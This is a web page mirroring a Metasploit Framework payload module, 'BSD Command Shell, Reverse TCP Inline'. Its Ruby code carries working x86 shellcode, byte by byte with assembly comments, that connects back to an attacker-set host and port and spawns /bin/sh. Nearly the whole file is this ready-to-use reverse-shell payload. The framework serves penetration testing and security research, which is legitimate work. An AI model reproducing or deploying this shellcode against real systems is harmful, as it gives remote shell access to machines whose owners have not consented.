CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb
Views: 11777
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 64
10
11
include Msf::Payload::Single
12
include Msf::Payload::Bsd
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'BSD Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'bsd',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LHOST' => [ 1, 'ADDR' ],
30
'LPORT' => [ 8, 'n' ],
31
},
32
'Payload' =>
33
"\x68\x7f\x00\x00\x01" + # pushl $0x0100007f #
34
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
35
"\x89\xe7" + # movl %esp,%edi #
36
"\x31\xc0" + # xorl %eax,%eax #
37
"\x50" + # pushl %eax #
38
"\x6a\x01" + # pushl $0x01 #
39
"\x6a\x02" + # pushl $0x02 #
40
"\x6a\x10" + # pushl $0x10 #
41
"\xb0\x61" + # movb $0x61,%al #
42
"\xcd\x80" + # int $0x80 #
43
"\x57" + # pushl %edi #
44
"\x50" + # pushl %eax #
45
"\x50" + # pushl %eax #
46
"\x6a\x62" + # pushl $0x62 #
47
"\x58" + # popl %eax #
48
"\xcd\x80" + # int $0x80 #
49
"\x50" + # pushl %eax #
50
"\x6a\x5a" + # pushl $0x5a #
51
"\x58" + # popl %eax #
52
"\xcd\x80" + # int $0x80 #
53
"\xff\x4f\xe8" + # decl -0x18(%edi) #
54
"\x79\xf6" + # jns <cntsockcode+34> #
55
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
56
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
57
"\x89\xe3" + # movl %esp,%ebx #
58
"\x50" + # pushl %eax #
59
"\x54" + # pushl %esp #
60
"\x53" + # pushl %ebx #
61
"\x50" + # pushl %eax #
62
"\xb0\x3b" + # movb $0x3b,%al #
63
"\xcd\x80" # int $0x80 #
64
}
65
))
66
end
67
end
68
69